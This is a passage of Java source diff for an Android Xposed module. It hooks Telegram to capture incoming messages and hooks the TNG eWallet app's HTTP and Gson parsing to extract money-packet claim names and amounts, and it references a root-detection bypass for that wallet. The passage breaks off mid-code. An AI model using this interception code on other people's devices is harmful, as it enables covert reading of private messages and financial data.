private static void installMessageObjectFallback(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
Class<?> messageObjectClass = XposedHelpers.findClass(
|
||||
MESSAGE_OBJECT, lpparam.classLoader);
|
||||
XposedBridge.hookAllConstructors(messageObjectClass, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Context context = getContext();
|
||||
if (context == null) {
|
||||
return;
|
||||
}
|
||||
forwardMessageObject(context, lpparam.packageName, param.thisObject);
|
||||
}
|
||||
});
|
||||
XposedBridge.log(TAG + " fallback MessageObject hook installed for "
|
||||
+ lpparam.packageName);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " fallback install failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** 后台弹通知路径:NotificationsController.appendMessage(MessageObject) */
|
||||
private static void installNotificationsControllerHook(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
Class<?> controllerClass = XposedHelpers.findClass(
|
||||
NOTIFICATIONS_CONTROLLER, lpparam.classLoader);
|
||||
Class<?> messageObjectClass = XposedHelpers.findClass(
|
||||
MESSAGE_OBJECT, lpparam.classLoader);
|
||||
XposedHelpers.findAndHookMethod(
|
||||
controllerClass,
|
||||
"appendMessage",
|
||||
messageObjectClass,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Context context = getContext();
|
||||
if (context == null || param.args[0] == null) {
|
||||
return;
|
||||
}
|
||||
forwardMessageObject(context, lpparam.packageName, param.args[0]);
|
||||
}
|
||||
}
|
||||
);
|
||||
XposedBridge.log(TAG + " appendMessage hook installed for " + lpparam.packageName);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " appendMessage hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean isMessageObject(Object arg) {
|
||||
return arg != null && MESSAGE_OBJECT.equals(arg.getClass().getName());
|
||||
}
|
||||
|
||||
private static void processMessageList(Context context, String packageName, List<?> messages) {
|
||||
for (Object item : messages) {
|
||||
if (item == null) {
|
||||
continue;
|
||||
}
|
||||
if (!MESSAGE_OBJECT.equals(item.getClass().getName())) {
|
||||
continue;
|
||||
}
|
||||
forwardMessageObject(context, packageName, item);
|
||||
}
|
||||
}
|
||||
|
||||
private static void forwardMessageObject(Context context, String packageName, Object messageObject) {
|
||||
try {
|
||||
Object messageOwner = XposedHelpers.getObjectField(messageObject, "messageOwner");
|
||||
if (messageOwner == null) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (XposedHelpers.getBooleanField(messageOwner, "out")) {
|
||||
return;
|
||||
}
|
||||
|
||||
int messageId = XposedHelpers.getIntField(messageOwner, "id");
|
||||
long dialogId = extractDialogId(messageObject, messageOwner);
|
||||
if (!rememberMessage(dialogId, messageId)) {
|
||||
return;
|
||||
}
|
||||
|
||||
String content = extractContent(messageObject, messageOwner);
|
||||
if (TextUtils.isEmpty(content)) {
|
||||
return;
|
||||
}
|
||||
|
||||
String title = extractTitle(messageObject, messageOwner, dialogId);
|
||||
long timestamp = XposedHelpers.getIntField(messageOwner, "date") * 1000L;
|
||||
if (timestamp <= 0) {
|
||||
timestamp = System.currentTimeMillis();
|
||||
}
|
||||
|
||||
String sender = extractSenderName(messageObject);
|
||||
String body = content;
|
||||
if (!TextUtils.isEmpty(sender) && !sender.equals(title)) {
|
||||
body = sender + ": " + content;
|
||||
}
|
||||
|
||||
HookForwarder.forward(context, packageName, title, body,
|
||||
HookBridge.SOURCE_XPOSED_TELEGRAM);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " forward failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static long extractDialogId(Object messageObject, Object messageOwner) {
|
||||
try {
|
||||
return ((Number) XposedHelpers.callMethod(messageObject, "getDialogId")).longValue();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
return XposedHelpers.getLongField(messageOwner, "dialog_id");
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return 0L;
|
||||
}
|
||||
|
||||
private static String extractContent(Object messageObject, Object messageOwner) {
|
||||
String caption = firstNonEmpty(
|
||||
safeText(XposedHelpers.getObjectField(messageObject, "caption")),
|
||||
safeText(XposedHelpers.getObjectField(messageOwner, "message")),
|
||||
safeText(callMethodSafe(messageObject, "getCaption"))
|
||||
);
|
||||
|
||||
String messageText = firstNonEmpty(
|
||||
safeText(XposedHelpers.getObjectField(messageObject, "messageText")),
|
||||
safeText(callMethodSafe(messageObject, "getMessageText"))
|
||||
);
|
||||
|
||||
String mediaLabel = detectMediaLabel(messageObject, messageOwner);
|
||||
|
||||
if (!TextUtils.isEmpty(caption)) {
|
||||
if (!TextUtils.isEmpty(mediaLabel)) {
|
||||
return mediaLabel + "\n" + caption;
|
||||
}
|
||||
if (!TextUtils.isEmpty(messageText) && !isMediaPlaceholder(messageText)
|
||||
&& !messageText.equals(caption)) {
|
||||
return messageText + "\n" + caption;
|
||||
}
|
||||
return caption;
|
||||
}
|
||||
|
||||
if (!TextUtils.isEmpty(messageText) && !isMediaPlaceholder(messageText)) {
|
||||
return messageText;
|
||||
}
|
||||
|
||||
if (!TextUtils.isEmpty(mediaLabel)) {
|
||||
return mediaLabel;
|
||||
}
|
||||
|
||||
if (!TextUtils.isEmpty(messageText)) {
|
||||
return messageText;
|
||||
}
|
||||
|
||||
return "";
|
||||
}
|
||||
|
||||
private static String detectMediaLabel(Object messageObject, Object messageOwner) {
|
||||
try {
|
||||
if (Boolean.TRUE.equals(XposedHelpers.callMethod(messageObject, "isSticker"))) {
|
||||
return "[贴纸]";
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
if (Boolean.TRUE.equals(XposedHelpers.callMethod(messageObject, "isPhoto"))) {
|
||||
return "[图片]";
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
if (Boolean.TRUE.equals(XposedHelpers.callMethod(messageObject, "isVideo"))) {
|
||||
return "[视频]";
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
if (Boolean.TRUE.equals(XposedHelpers.callMethod(messageObject, "isGif"))) {
|
||||
return "[GIF]";
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
if (Boolean.TRUE.equals(XposedHelpers.callMethod(messageObject, "isVoice"))) {
|
||||
return "[语音]";
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
if (Boolean.TRUE.equals(XposedHelpers.callMethod(messageObject, "isMusic"))) {
|
||||
return "[音频]";
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
|
||||
Object media = XposedHelpers.getObjectField(messageOwner, "media");
|
||||
if (media == null) {
|
||||
return "";
|
||||
}
|
||||
String mediaClass = media.getClass().getName();
|
||||
if (mediaClass.contains("Photo")) {
|
||||
return "[图片]";
|
||||
}
|
||||
if (mediaClass.contains("Document")) {
|
||||
return "[文件]";
|
||||
}
|
||||
if (mediaClass.contains("Video")) {
|
||||
return "[视频]";
|
||||
}
|
||||
if (mediaClass.contains("Geo")) {
|
||||
return "[位置]";
|
||||
}
|
||||
if (mediaClass.contains("Contact")) {
|
||||
return "[联系人]";
|
||||
}
|
||||
return "[媒体消息]";
|
||||
}
|
||||
|
||||
private static boolean isMediaPlaceholder(String text) {
|
||||
if (TextUtils.isEmpty(text)) {
|
||||
return true;
|
||||
}
|
||||
String value = text.trim();
|
||||
return value.equals("图片")
|
||||
|| value.equals("Photo")
|
||||
|| value.equals("照片")
|
||||
|| value.equals("贴纸")
|
||||
|| value.equals("Sticker")
|
||||
|| value.equals("Video")
|
||||
|| value.equals("视频")
|
||||
|| value.equals("GIF")
|
||||
|| value.equals("动画")
|
||||
|| value.equals("文件")
|
||||
|| value.equals("Document")
|
||||
|| value.equals("语音")
|
||||
|| value.equals("Voice")
|
||||
|| value.equals("音频")
|
||||
|| value.equals("Audio")
|
||||
|| value.equals("位置")
|
||||
|| value.equals("Location")
|
||||
|| value.startsWith("[媒体")
|
||||
|| value.startsWith("[图片")
|
||||
|| value.startsWith("[贴纸")
|
||||
|| value.startsWith("[视频");
|
||||
}
|
||||
|
||||
private static String firstNonEmpty(String... values) {
|
||||
for (String value : values) {
|
||||
if (!TextUtils.isEmpty(value)) {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private static String callMethodSafe(Object target, String methodName) {
|
||||
try {
|
||||
return safeText(XposedHelpers.callMethod(target, methodName));
|
||||
} catch (Throwable ignored) {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private static String extractTitle(Object messageObject, Object messageOwner, long dialogId) {
|
||||
String viaController = resolveTitleViaController(messageObject, dialogId);
|
||||
if (!TextUtils.isEmpty(viaController)) {
|
||||
return viaController;
|
||||
}
|
||||
|
||||
try {
|
||||
Object dialogName = XposedHelpers.callMethod(messageObject, "getName");
|
||||
String name = safeText(dialogName);
|
||||
if (!TextUtils.isEmpty(name)) {
|
||||
return name;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
|
||||
try {
|
||||
Object chat = XposedHelpers.callMethod(messageObject, "getChat");
|
||||
if (chat != null) {
|
||||
String chatTitle = safeText(XposedHelpers.getObjectField(chat, "title"));
|
||||
if (!TextUtils.isEmpty(chatTitle)) {
|
||||
return chatTitle;
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
|
||||
String localName = safeText(XposedHelpers.getObjectField(messageObject, "localName"));
|
||||
if (!TextUtils.isEmpty(localName)) {
|
||||
return localName;
|
||||
}
|
||||
|
||||
return dialogId != 0 ? ("对话 " + dialogId) : "Telegram";
|
||||
}
|
||||
|
||||
private static String resolveTitleViaController(Object messageObject, long dialogId) {
|
||||
if (dialogId == 0) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
int account = XposedHelpers.getIntField(messageObject, "currentAccount");
|
||||
ClassLoader cl = messageObject.getClass().getClassLoader();
|
||||
Class<?> mcClass = XposedHelpers.findClass(
|
||||
"org.telegram.messenger.MessagesController", cl);
|
||||
Object mc = XposedHelpers.callStaticMethod(mcClass, "getInstance", account);
|
||||
|
||||
Object title = invokeGetPeerTitle(mc, dialogId);
|
||||
|
||||
String text = safeText(title);
|
||||
if (!TextUtils.isEmpty(text)) {
|
||||
return text;
|
||||
}
|
||||
|
||||
if (dialogId < 0) {
|
||||
Object chat = XposedHelpers.callMethod(mc, "getChat", -dialogId);
|
||||
if (chat == null) {
|
||||
chat = XposedHelpers.callMethod(mc, "getChat", dialogId);
|
||||
}
|
||||
if (chat != null) {
|
||||
text = safeText(XposedHelpers.getObjectField(chat, "title"));
|
||||
if (!TextUtils.isEmpty(text)) {
|
||||
return text;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Object user = XposedHelpers.callMethod(mc, "getUser", dialogId);
|
||||
text = formatUserName(user);
|
||||
if (!TextUtils.isEmpty(text)) {
|
||||
return text;
|
||||
}
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " resolveTitleViaController: " + t.getMessage());
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static Object invokeGetPeerTitle(Object mc, long dialogId) {
|
||||
try {
|
||||
return XposedHelpers.callMethod(mc, "getPeerTitle", dialogId, false);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
return XposedHelpers.callMethod(mc, "getPeerTitle", dialogId);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
java.lang.reflect.Method method = mc.getClass().getMethod("getPeerTitle", long.class, boolean.class);
|
||||
return method.invoke(mc, dialogId, false);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
java.lang.reflect.Method method = mc.getClass().getMethod("getPeerTitle", long.class);
|
||||
return method.invoke(mc, dialogId);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static String formatUserName(Object user) {
|
||||
if (user == null) {
|
||||
return "";
|
||||
}
|
||||
String first = safeText(XposedHelpers.getObjectField(user, "first_name"));
|
||||
String last = safeText(XposedHelpers.getObjectField(user, "last_name"));
|
||||
String username = safeText(XposedHelpers.getObjectField(user, "username"));
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (!TextUtils.isEmpty(first)) {
|
||||
sb.append(first);
|
||||
}
|
||||
if (!TextUtils.isEmpty(last)) {
|
||||
if (sb.length() > 0) {
|
||||
sb.append(' ');
|
||||
}
|
||||
sb.append(last);
|
||||
}
|
||||
if (sb.length() > 0) {
|
||||
return sb.toString();
|
||||
}
|
||||
if (!TextUtils.isEmpty(username)) {
|
||||
return "@" + username;
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private static String safeText(Object value) {
|
||||
if (value == null) {
|
||||
return "";
|
||||
}
|
||||
if (!(value instanceof CharSequence) && !(value instanceof Number) && !(value instanceof Boolean)) {
|
||||
String className = value.getClass().getName();
|
||||
if (className.startsWith("org.telegram.tgnet.")
|
||||
|| className.contains("TLRPC$")
|
||||
|| value.getClass().getName().contains("Peer")) {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
String text = String.valueOf(value).trim();
|
||||
if (text.contains("TLRPC$") || text.contains("org.telegram.tgnet.")) {
|
||||
return "";
|
||||
}
|
||||
return text;
|
||||
}
|
||||
|
||||
private static String extractSenderName(Object messageObject) {
|
||||
try {
|
||||
String fromName = safeText(XposedHelpers.callMethod(messageObject, "getFromName"));
|
||||
if (!TextUtils.isEmpty(fromName)) {
|
||||
return fromName;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private static synchronized boolean rememberMessage(long dialogId, int messageId) {
|
||||
if (messageId <= 0) {
|
||||
return true;
|
||||
}
|
||||
String key = dialogId + ":" + messageId;
|
||||
if (RECENT_SET.contains(key)) {
|
||||
return false;
|
||||
}
|
||||
RECENT_SET.add(key);
|
||||
RECENT_KEYS.addLast(key);
|
||||
while (RECENT_KEYS.size() > DEDUP_SIZE) {
|
||||
String oldest = RECENT_KEYS.removeFirst();
|
||||
RECENT_SET.remove(oldest);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
private static Context getContext() {
|
||||
try {
|
||||
Class<?> activityThread = XposedHelpers.findClass("android.app.ActivityThread", null);
|
||||
Object app = XposedHelpers.callStaticMethod(activityThread, "currentApplication");
|
||||
if (app instanceof Context) {
|
||||
return (Context) app;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,579 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import android.content.Context;
|
||||
import android.text.TextUtils;
|
||||
|
||||
import com.miraclegarden.smsmessage.xposed.HookBridge;
|
||||
import com.miraclegarden.smsmessage.xposed.HookForwarder;
|
||||
|
||||
import org.json.JSONArray;
|
||||
import org.json.JSONObject;
|
||||
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayDeque;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.Iterator;
|
||||
import java.util.List;
|
||||
import java.util.Locale;
|
||||
import java.util.Set;
|
||||
|
||||
import de.robv.android.xposed.XC_MethodHook;
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.XposedHelpers;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
/**
|
||||
* TNG eWallet Money Packet(群红包)领取统计。
|
||||
* 从 HTTP 响应 JSON / Gson 反序列化结果中提取 receiverList(昵称 + 金额),转发到 notiMessage。
|
||||
*/
|
||||
public final class TngMoneyPacketHook {
|
||||
|
||||
private static final String TAG = "notiMessageHook/TngMmp";
|
||||
private static final String PACKAGE = TngRootBypassHook.PACKAGE;
|
||||
private static final int DEDUP_SIZE = 256;
|
||||
|
||||
private static final ArrayDeque<String> RECENT_KEYS = new ArrayDeque<>();
|
||||
private static final HashSet<String> RECENT_SET = new HashSet<>();
|
||||
private static final ThreadLocal<String> CURRENT_REQUEST_URL = new ThreadLocal<>();
|
||||
|
||||
private TngMoneyPacketHook() {
|
||||
}
|
||||
|
||||
public static void install(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
if (!TngRootBypassHook.isTargetPackage(lpparam.packageName)) {
|
||||
return;
|
||||
}
|
||||
hookOkHttpUrl(lpparam);
|
||||
hookResponseBody(lpparam);
|
||||
hookGsonFromJson(lpparam);
|
||||
XposedBridge.log(TAG + " installed for " + lpparam.packageName);
|
||||
}
|
||||
|
||||
private static void hookOkHttpUrl(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"okhttp3.Request$Builder",
|
||||
lpparam.classLoader,
|
||||
"build",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
try {
|
||||
Object url = XposedHelpers.callMethod(param.getResult(), "url");
|
||||
if (url != null) {
|
||||
CURRENT_REQUEST_URL.set(String.valueOf(url));
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
});
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " Request.Builder.build hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookResponseBody(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"okhttp3.ResponseBody",
|
||||
lpparam.classLoader,
|
||||
"string",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
String body = (String) param.getResult();
|
||||
String url = CURRENT_REQUEST_URL.get();
|
||||
CURRENT_REQUEST_URL.remove();
|
||||
if (!isMmpPayload(url, body)) {
|
||||
return;
|
||||
}
|
||||
forwardParsedJson(body, url, "http");
|
||||
}
|
||||
});
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " ResponseBody.string hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookGsonFromJson(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
XC_MethodHook hook = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
Object result = param.getResult();
|
||||
if (result == null) {
|
||||
return;
|
||||
}
|
||||
String className = result.getClass().getName();
|
||||
if (!isMmpModelClass(className)) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
String json = buildJsonFromObject(result);
|
||||
if (TextUtils.isEmpty(json)) {
|
||||
return;
|
||||
}
|
||||
forwardParsedJson(json, className, "gson");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " gson capture failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
};
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"com.google.gson.Gson",
|
||||
lpparam.classLoader,
|
||||
"fromJson",
|
||||
String.class,
|
||||
Class.class,
|
||||
hook);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " Gson.fromJson(Class) hook failed: " + t.getMessage());
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"com.google.gson.Gson",
|
||||
lpparam.classLoader,
|
||||
"fromJson",
|
||||
String.class,
|
||||
java.lang.reflect.Type.class,
|
||||
hook);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean isMmpPayload(String url, String body) {
|
||||
if (TextUtils.isEmpty(body) || body.length() < 24) {
|
||||
return false;
|
||||
}
|
||||
String lower = body.toLowerCase(Locale.US);
|
||||
boolean jsonHit = lower.contains("receiverlist")
|
||||
|| lower.contains("\"claimedamount\"")
|
||||
|| lower.contains("mmpreceiver")
|
||||
|| (lower.contains("nick") && lower.contains("amount") && lower.contains("mmp"));
|
||||
if (jsonHit) {
|
||||
return true;
|
||||
}
|
||||
if (TextUtils.isEmpty(url)) {
|
||||
return false;
|
||||
}
|
||||
String urlLower = url.toLowerCase(Locale.US);
|
||||
return urlLower.contains("mmp") || urlLower.contains("moneypacket");
|
||||
}
|
||||
|
||||
private static boolean isMmpModelClass(String className) {
|
||||
if (TextUtils.isEmpty(className)) {
|
||||
return false;
|
||||
}
|
||||
return className.contains("MmpDetailResult")
|
||||
|| className.contains("MmpClaimQueryResult")
|
||||
|| className.contains("MmpClaimResult")
|
||||
|| className.contains("MmpReceiver")
|
||||
|| className.contains("MmpDetailLeaderboard");
|
||||
}
|
||||
|
||||
private static void forwardParsedJson(String json, String sourceHint, String channel) {
|
||||
MmpSnapshot snapshot = parseSnapshot(json);
|
||||
if (snapshot == null || snapshot.claims.isEmpty()) {
|
||||
return;
|
||||
}
|
||||
String dedupKey = snapshot.dedupKey();
|
||||
if (!remember(dedupKey)) {
|
||||
return;
|
||||
}
|
||||
Context context = getContext();
|
||||
if (context == null) {
|
||||
return;
|
||||
}
|
||||
String title = TextUtils.isEmpty(snapshot.title) ? "TNG Money Packet" : snapshot.title;
|
||||
String content = snapshot.formatForForward(channel, sourceHint);
|
||||
HookForwarder.forward(context, PACKAGE, title, content, HookBridge.SOURCE_XPOSED_TNG_MMP);
|
||||
XposedBridge.log(TAG + " captured packet=" + snapshot.packetId
|
||||
+ " claims=" + snapshot.claims.size() + " via " + channel);
|
||||
}
|
||||
|
||||
private static MmpSnapshot parseSnapshot(String json) {
|
||||
try {
|
||||
JSONObject root = new JSONObject(json.trim());
|
||||
return parseSnapshot(root, null);
|
||||
} catch (Throwable t) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static MmpSnapshot parseSnapshot(JSONObject root, MmpSnapshot base) {
|
||||
MmpSnapshot snapshot = base != null ? base : new MmpSnapshot();
|
||||
fillMeta(root, snapshot);
|
||||
|
||||
JSONArray receiverList = findReceiverList(root);
|
||||
if (receiverList != null) {
|
||||
for (int i = 0; i < receiverList.length(); i++) {
|
||||
JSONObject item = receiverList.optJSONObject(i);
|
||||
if (item == null) {
|
||||
continue;
|
||||
}
|
||||
ClaimLine line = parseClaimLine(item);
|
||||
if (line != null) {
|
||||
snapshot.claims.add(line);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Iterator<String> keys = root.keys();
|
||||
while (keys.hasNext()) {
|
||||
String key = keys.next();
|
||||
Object val = root.opt(key);
|
||||
if (val instanceof JSONObject) {
|
||||
parseSnapshot((JSONObject) val, snapshot);
|
||||
} else if (val instanceof JSONArray) {
|
||||
JSONArray arr = (JSONArray) val;
|
||||
for (int i = 0; i < arr.length(); i++) {
|
||||
Object elem = arr.opt(i);
|
||||
if (elem instanceof JSONObject) {
|
||||
ClaimLine line = parseClaimLine((JSONObject) elem);
|
||||
if (line != null && looksLikeClaimRow((JSONObject) elem)) {
|
||||
snapshot.claims.add(line);
|
||||
}
|
||||
parseSnapshot((JSONObject) elem, snapshot);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return snapshot;
|
||||
}
|
||||
|
||||
private static JSONArray findReceiverList(JSONObject obj) {
|
||||
Iterator<String> keys = obj.keys();
|
||||
while (keys.hasNext()) {
|
||||
String key = keys.next();
|
||||
Object val = obj.opt(key);
|
||||
if ("receiverList".equalsIgnoreCase(key) && val instanceof JSONArray) {
|
||||
return (JSONArray) val;
|
||||
}
|
||||
if (val instanceof JSONObject) {
|
||||
JSONArray nested = findReceiverList((JSONObject) val);
|
||||
if (nested != null) {
|
||||
return nested;
|
||||
}
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static void fillMeta(JSONObject obj, MmpSnapshot snapshot) {
|
||||
putIfPresent(obj, snapshot, "packetId", "mmpId", "moneyPacketId", "id");
|
||||
putIfPresent(obj, snapshot, "groupId", "chatId", "conversationId");
|
||||
putIfPresent(obj, snapshot, "groupName", "chatName", "conversationName");
|
||||
putIfPresent(obj, snapshot, "senderName", "senderNickName", "operatorName");
|
||||
putIfPresent(obj, snapshot, "totalAmount", "packetAmount", "amount");
|
||||
if (TextUtils.isEmpty(snapshot.title)) {
|
||||
String merchant = firstNonEmpty(
|
||||
obj.optString("merchantName", null),
|
||||
obj.optString("shopName", null));
|
||||
if (!TextUtils.isEmpty(merchant)) {
|
||||
snapshot.title = merchant;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void putIfPresent(JSONObject obj, MmpSnapshot snapshot, String... keys) {
|
||||
for (String key : keys) {
|
||||
if (!obj.has(key)) {
|
||||
continue;
|
||||
}
|
||||
String val = obj.optString(key, null);
|
||||
if (TextUtils.isEmpty(val) || "null".equalsIgnoreCase(val)) {
|
||||
continue;
|
||||
}
|
||||
if (key.toLowerCase(Locale.US).contains("packet") || key.equals("mmpId") || key.equals("id")) {
|
||||
if (TextUtils.isEmpty(snapshot.packetId)) {
|
||||
snapshot.packetId = val;
|
||||
}
|
||||
} else if (key.toLowerCase(Locale.US).contains("group")) {
|
||||
if (TextUtils.isEmpty(snapshot.groupId)) {
|
||||
snapshot.groupId = val;
|
||||
}
|
||||
} else if (key.toLowerCase(Locale.US).contains("name") && key.toLowerCase(Locale.US).contains("group")) {
|
||||
snapshot.title = val;
|
||||
} else if (key.toLowerCase(Locale.US).contains("sender")
|
||||
|| key.toLowerCase(Locale.US).contains("operator")) {
|
||||
if (TextUtils.isEmpty(snapshot.senderName)) {
|
||||
snapshot.senderName = val;
|
||||
}
|
||||
} else if (key.toLowerCase(Locale.US).contains("total") || key.equals("amount")) {
|
||||
if (TextUtils.isEmpty(snapshot.totalAmount)) {
|
||||
snapshot.totalAmount = val;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean looksLikeClaimRow(JSONObject obj) {
|
||||
String name = firstNonEmpty(
|
||||
obj.optString("nickName", null),
|
||||
obj.optString("displayName", null),
|
||||
obj.optString("userName", null),
|
||||
obj.optString("receiverName", null));
|
||||
String amount = firstNonEmpty(
|
||||
obj.optString("claimedAmount", null),
|
||||
obj.optString("receiveAmount", null),
|
||||
obj.optString("amount", null));
|
||||
return !TextUtils.isEmpty(name) && !TextUtils.isEmpty(amount);
|
||||
}
|
||||
|
||||
private static ClaimLine parseClaimLine(JSONObject obj) {
|
||||
String name = firstNonEmpty(
|
||||
obj.optString("nickName", null),
|
||||
obj.optString("displayName", null),
|
||||
obj.optString("userName", null),
|
||||
obj.optString("receiverName", null),
|
||||
obj.optString("name", null));
|
||||
String amount = firstNonEmpty(
|
||||
obj.optString("claimedAmount", null),
|
||||
obj.optString("receiveAmount", null),
|
||||
obj.optString("amount", null));
|
||||
if (TextUtils.isEmpty(name) || TextUtils.isEmpty(amount)) {
|
||||
return null;
|
||||
}
|
||||
ClaimLine line = new ClaimLine();
|
||||
line.nickname = name;
|
||||
line.amount = amount;
|
||||
line.claimTime = firstNonEmpty(
|
||||
obj.optString("claimTime", null),
|
||||
obj.optString("claimedTime", null),
|
||||
obj.optString("receiveTime", null));
|
||||
return line;
|
||||
}
|
||||
|
||||
private static String buildJsonFromObject(Object root) {
|
||||
JSONObject json = objectToJson(root, new HashSet<Integer>(), 0);
|
||||
return json != null ? json.toString() : null;
|
||||
}
|
||||
|
||||
private static JSONObject objectToJson(Object obj, Set<Integer> visited, int depth) {
|
||||
if (obj == null || depth > 6) {
|
||||
return null;
|
||||
}
|
||||
if (obj instanceof String || obj instanceof Number || obj instanceof Boolean) {
|
||||
JSONObject wrap = new JSONObject();
|
||||
try {
|
||||
wrap.put("value", obj);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return wrap;
|
||||
}
|
||||
int identity = System.identityHashCode(obj);
|
||||
if (visited.contains(identity)) {
|
||||
return null;
|
||||
}
|
||||
visited.add(identity);
|
||||
|
||||
JSONObject out = new JSONObject();
|
||||
Class<?> clazz = obj.getClass();
|
||||
if (clazz.isArray()) {
|
||||
JSONArray arr = new JSONArray();
|
||||
int len = Array.getLength(obj);
|
||||
for (int i = 0; i < len; i++) {
|
||||
Object elem = Array.get(obj, i);
|
||||
JSONObject child = objectToJson(elem, visited, depth + 1);
|
||||
if (child != null) {
|
||||
arr.put(child);
|
||||
}
|
||||
}
|
||||
try {
|
||||
out.put("array", arr);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return out;
|
||||
}
|
||||
if (obj instanceof Iterable) {
|
||||
JSONArray arr = new JSONArray();
|
||||
for (Object elem : (Iterable<?>) obj) {
|
||||
JSONObject child = objectToJson(elem, visited, depth + 1);
|
||||
if (child != null) {
|
||||
arr.put(child);
|
||||
}
|
||||
}
|
||||
try {
|
||||
out.put("receiverList", arr);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
for (Field field : clazz.getDeclaredFields()) {
|
||||
String fname = field.getName();
|
||||
if (fname.contains("$") || fname.startsWith("CREATOR")) {
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
field.setAccessible(true);
|
||||
Object val = field.get(obj);
|
||||
if (val == null) {
|
||||
continue;
|
||||
}
|
||||
if (isPrimitiveLike(val)) {
|
||||
out.put(fname, String.valueOf(val));
|
||||
} else if (val instanceof Iterable || val.getClass().isArray()) {
|
||||
JSONArray arr = new JSONArray();
|
||||
if (val instanceof Iterable) {
|
||||
for (Object elem : (Iterable<?>) val) {
|
||||
